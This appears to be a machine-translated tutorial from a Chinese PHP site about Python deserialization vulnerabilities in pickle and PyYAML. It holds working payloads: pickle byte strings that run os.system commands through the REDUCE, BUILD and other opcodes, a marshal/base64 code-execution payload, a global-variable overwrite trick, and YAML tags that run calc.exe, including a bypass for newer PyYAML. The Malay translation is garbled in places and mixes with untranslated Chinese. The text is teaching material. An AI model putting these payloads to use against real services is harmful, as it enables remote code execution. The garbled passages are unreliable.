Membawa anda memahami penyahserialisasian Python

Artikel ini membawakan anda pengetahuan yang berkaitan tentang python, yang terutamanya memperkenalkan isu berkaitan tentang penyahserikan: pickle.loads() deserialisasi rentetan Untuk objek, pickle.load() membaca data daripada fail dan menyahsirinya. Saya harap ia akan membantu semua orang.

Pembelajaran yang disyorkan: tutorial python

Kerentanan deserialisasi Python

Acar

• Serialization: pickle.dumps() Serialkan objek ke dalam rentetan, pickle.dump() Simpan rentetan bersiri objek sebagai fail
• Deserialisasi: pickle.loads() Desiriize rentetan Deserialize objek, pickle.load() baca data daripada fail

Apabila menggunakan dumps() dan loads(), anda boleh menggunakan parameter protocol untuk menentukan versi protokol

Protokol mempunyai versi 0, 1, 2, 3 , 4 dan 5. Versi python yang berbeza mempunyai versi protokol lalai yang berbeza. Antara versi ini, nombor 0 ialah versi yang paling boleh dibaca versi kemudian menambah aksara tidak boleh dicetak untuk pengoptimuman

Protokol serasi ke belakang juga boleh digunakan secara langsung

Objek boleh bersiri

• , None dan TrueFalse
Integer, nombor titik terapung, nombor kompleks
• str, bait, bytearray
• hanya mengandungi koleksi objek yang boleh diarkibkan, termasuk tuple, list, set dan dict
• Fungsi yang ditakrifkan dalam lapisan paling luar modul (ditakrifkan menggunakan def, fungsi lambda bukan Ya )
• Fungsi terbina dalam ditakrifkan dalam lapisan paling luar modul
• Kelas yang ditakrifkan dalam lapisan paling luar modul
• nilai atribut atau __dict__ pulangan nilai fungsi Kelas yang boleh bersiri (lihat Contoh Kelas Pickling dalam dokumentasi rasmi untuk butiran) __getstate__()

Proses penyahserialisasian

pickle.load() dan pickle.loads Pelaksanaan asas kaedah () adalah berdasarkan kaedah _Unpickler() untuk menyahsiri

Semasa proses penyahserikatan,

(selepas ini dirujuk sebagai mesin) mengekalkan dua perkara: kawasan tindanan dan Kawasan storan_Unpickler

Untuk mengkajinya, anda perlu menggunakan penyahpepijat

pickletools

[Pemindahan imej pautan luar gagal. Tapak sumber mungkin mempunyai mekanisme anti-leeching disyorkan untuk menyimpan imej dan memuat naiknya terus (img -wUDq6S9E-1642832623478)(C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]

sebenarnya gambar bersiri itu rentetan Kod arahan PVM (Pickle Virtual Machine), kod arahan disimpan dan dihuraikan dalam bentuk tindanan

Set arahan PVM

Set arahan PVM yang lengkap boleh dilihat dalam

Arahan yang digunakan oleh versi protokol yang berbeza Set ini sedikit berbeza pickletools.py

Kod arahan dalam gambar di atas boleh diterjemahkan kepada:

    0: \x80 PROTO      3  # 协议版本
    2: ]    EMPTY_LIST  # 将空列表推入栈
    3: (    MARK  # 将标志推入栈
    4: X        BINUNICODE 'a'  # unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)  # 将3号标准之后的数据推入列表
   23: .    STOP  # 弹出栈中数据，结束
highest protocol among opcodes = 2

Terdapat beberapa kod arahan penting dalam set arahan:

GLOBAL = b'c' ​​# Tolak dua rentetan yang berakhir dengan baris baharu ke dalam tindanan, yang pertama ialah nama modul, yang kedua ialah nama kelas, iaitu , nilai pembolehubah global
• boleh dipanggil xxx.xxx
REDUCE = b'R' # Tolak objek yang dijana oleh tuple boleh panggil dan tuple parameter ke dalam tindanan, iaitu nilai pertama yang dikembalikan oleh
• digunakan sebagai fungsi boleh laku, nilai kedua ialah parameter, dan fungsi yang dilaksanakan __reduce()
BUILD = b'b' # Lengkapkan pembinaan objek melalui
• atau kemas kini __setstate__. Jika objek mempunyai kaedah __dict__, panggil __setstate__; jika tiada kaedah anyobject .__setstate__(参数), lalukan __setstate__ untuk mengemas kini nilai ( anyobject.__dict__.update(argument)Kemas kini boleh menghasilkan penggantian berubah)
STOP = b'.' # End

Contoh yang lebih kompleks:

import pickleimport pickletoolsclass a_class():
    def __init__(self):
        self.age = 24
        self.status = 'student'
        self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ a_class'
   20: )    EMPTY_TUPLE  # 将空元组推入栈
   21: \x81 NEWOBJ  # 表示前面的栈的内容为一个类(__main__ a_class)，之后为一个元组(20行推入的元组)，调用cls.__new__(cls, *args)（即用元组中的参数创建一个实例，这里元组实际为空）
   22: }    EMPTY_DICT  # 将空字典推入栈
   23: (    MARK
   24: X        BINUNICODE 'age'
   32: K        BININT1    24
   34: X        BINUNICODE 'status'
   45: X        BINUNICODE 'student'
   57: X        BINUNICODE 'list'
   66: ]        EMPTY_LIST
   67: (        MARK
   68: X            BINUNICODE 'a'
   74: X            BINUNICODE 'b'
   80: X            BINUNICODE 'c'
   86: e            APPENDS    (MARK at 67)
   87: u        SETITEMS   (MARK at 23)  # 将将从23行开始传入的值以键值对添加到现有字典中
   88: b    BUILD  # 更新字典完成构建
   89: .    STOP
highest protocol among opcodes = 2

Pelaksanaan fungsi biasa

Terdapat tiga set arahan PVM yang berkaitan dengan pelaksanaan fungsi:

, R, i, jadi kita boleh pergi dari tiga arah Konstruk: o

: R

b'''cos
system
(S'whoami'
tR.'''

: i

b'''(S'whoami'
ios
system
.'''

: o

b'''(cos
system
S'whoami'
o.'''

__reduce()__命令执行

Fungsi ajaib adalah secara automatik dipanggil pada penghujung proses deserialisasi dan mengembalikan tupel. Antaranya, elemen pertama ialah objek boleh dipanggil, yang dipanggil semasa mencipta versi awal objek Elemen kedua ialah parameter objek boleh dipanggil, yang boleh menyebabkan kerentanan RCE semasa penyahserikatan __recude()__

Skrip yang mencetuskan

ialah ``R

R__reduce()_，**只要在序列化中的字符串中存在mengurangkan指令**，mengurangkan方法就会被执行，无论正常程序中是否写明了` kaedah acar semasa penyahserikatan Akan

secara automatik mengimport modul yang tidak diperkenalkan

, jadi semua pelaksanaan kod dan fungsi pelaksanaan perintah dalam perpustakaan standard python boleh digunakan, tetapi versi python yang dihasilkan harus konsisten dengan sasaran payload

Contoh :

class a_class():
    def __reduce__(self):
        return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组，元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')

b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: X    BINUNICODE 'whoami'
   24: \x85 TUPLE1
   25: R    REDUCE
   26: .    STOP
highest protocol among opcodes = 2

将该字符串反序列化后将会执行命令 os.system('whoami')

全局变量覆盖

__reduce()_利用的是 R 指令码，造成REC，而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖

# secret.pya = aaaaaa

# unser.pyimport secretimport pickleclass flag():
    def __init__(self, a):
        self.a = a

your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
    print('flag:{}'.format(secret_flag.a))else:
    print('No!')

在不知道 secret.a 的情况下要如何获得 flag 呢？

先尝试获得 flag() 的序列化字符串：

class flag():
    def __init__(self, a):
        self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))

b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: X    BINUNICODE 'a'
   32: q    BINPUT     3
   34: X    BINUNICODE 'A'
   40: q    BINPUT     4
   42: s    SETITEM
   43: b    BUILD
   44: .    STOP
highest protocol among opcodes = 2

可以看到，在34行进行了传参，将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a，即将 X BINUNICODE 'A' 改为 c GLOBAL 'secret a'(X\x01\x00\x00\x00A 改为 csecret\na\n)。将该字符串反序列化后，self.a 的值等于 secret.a 的值，成功获取 flag

除了改写 PVM 指令的方式外，还可以使用 exec 函数造成变量覆盖：

test1 = 'test1'test2 = 'test2'class A:
   def __reduce(self):
       retutn exec, "test1='asd'\ntest2='qwe'"

利用BUILD指令RCE(不使用R指令)

通过BUILD指令与GLOBAL指令的结合，可以把现有类改写为os.system或其他函数

假设某个类原先没有__setstate__方法，我们可以利用{'__setstate__': os.system}来BUILE这个对象

BUILD指令执行时，因为没有__setstate__方法，所以就执行update，这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用'whoami'来再次BUILD这个对象，则会执行setstate('whoami')，而此时__setstate__已经被我们设置为os.system，因此实现了RCE

例:

代码中存在一个任意类：

class payload:
    def __init__(self):
        pass

根据这个类构造 PVM 指令：

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ payload'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: }    EMPTY_DICT  # 使用BUILD，先放入一个字典
   22: (    MARK  # 放值前先放一个标志
   23: V        UNICODE    '__setstate__'  # 放键值对
   37: c        GLOBAL     'nt system'
   48: u        SETITEMS   (MARK at 22)
   49: b    BUILD  # 第一次BUILD
   50: V    UNICODE    'whoami'  # 加参数
   58: b    BUILD  # 第二次BUILD
   59: .    STOP

将上述 PVM 指令改写成 bytes 形式：b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'，使用 piclke.loads() 反序列化后成功执行命令

利用Marshal模块造成任意函数执行

pickle 不能将代码对象序列化，但 python 提供了一个可以序列化代码对象的模块 Marshal

但是序列化的代码对象不再能使用 __reduce()_ 调用，因为__reduce__是利用调用某个可调用对象并传递参数来执行的，而我们这个函数本身就是一个可调用对象 ，我们需要执行它，而不是将他作为某个函数的参数。隐藏需要利用 typres 模块来动态的创建匿名函数

import marshalimport typesdef code():
    import os    print('hello')
    os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()  # 利用types动态创建匿名函数并执行

在 pickle 上使用：

import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s)  # 字符串转换为 bytes

漏洞出现位置

• 解析认证 token、session 时
• 将对象 pickle 后存储在磁盘文件
• 将对象 pickle 后在网络中传输
• 参数传递给程序

PyYAML

yaml 是一种标记类语言，类似与 xml 和 json，各个支持yaml格式的语言都会有自己的实现来进行 yaml 格式的解析(读取和保存)，PyYAML 就是 yaml 的 python 实现

在使用 PyYAML 库时，若使用了 yaml.load() 而不是 yaml.safe_load() 函数解析 yaml文件，则会导致反序列化漏洞的产生

原理

PyYAML 有针对 python 语言特有的标签解析的处理函数对应列表，其中有三个和对象相关：

!!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new

例如：

# Test.pyimport yamlimport osclass test:
    def __init__(self):
        os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()

该代码执行后，会生成 sample.yml ，并写入 !!python/object:__main__.test {}

将文件内容改为 !!python/object:Test.test {} 再使用 yaml.load() 解析该 yaml 文件：

import yaml
yaml.load(file('sample.yml', 'w'))

命令成功执行。但是命令的执行依赖于 Test.py 的存在，因为 yaml.load() 时会根据yml文件中的指引去读取 Test.py 中的 test 这个对象（类）。如果删除 Test.py ，也将运行失败

Payload

PyYAML

想要消除依赖执行命令，就需要将其中的类或者函数换成 python 标准库中的类或函数，并使用另外两种 python 标签：

# 该标签可以在 PyYAML 解析再入 YAML 数据时，动态的创建 Python 对象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new:      =>  Constructor.construct_python_object_new

利用这两个标签，就可以构造任意 payload：

!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]

PyYAML >= 5.1

在版本 PyYAML >= 5.1 后，限制了反序列化内置类方法以及导入并使用不存在的反序列化代码，并且在使用 load() 方法时，需要加上 loader 参数，直接使用时会爆出安全警告

loader的四种类型：

• BaseLoader：仅加载最基本的YAML
• SafeLoader：安全地加载YAML语言的子集，建议用于加载不受信任的输入(safe_load）
• FullLoader：加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)（full_load）
• UnsafeLoader(也称为Loader向后兼容性）：原始的Loader代码，可以通过不受信任的数据输入轻松利用（unsafe_load）

在高版本中之前的 payload 已经失效，但可以使用 subporcess.getoutput() 方法绕过检测：

!!python/object/apply:subprocess.getoutput
- whoami

在最新版本上，命令执行成功

ruamel.yaml

ruamel.yaml的用法和PyYAML基本一样，并且默认支持更新的YAML1.2版本

在ruamel.yaml中反序列化带参数的序列化类方法，有以下方法：

• load(data)
• load(data, Loader=Loader)
• load(data, Loader=UnsafeLoader)
• load(data, Loader=FullLoader)
• load_all(data)
• load_all(data, Loader=Loader)
• load_all(data, Loader=UnSafeLoader)
• load_all(data, Loader=FullLoader)

我们可以使用上述任何方法，甚至我们也可以通过提供数据来反序列化来直接调用load()，它将完美地反序列化它，并且我们的类方法将被执行

推荐学习：python学习教程

Atas ialah kandungan terperinci Membawa anda memahami penyahserialisasian Python. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!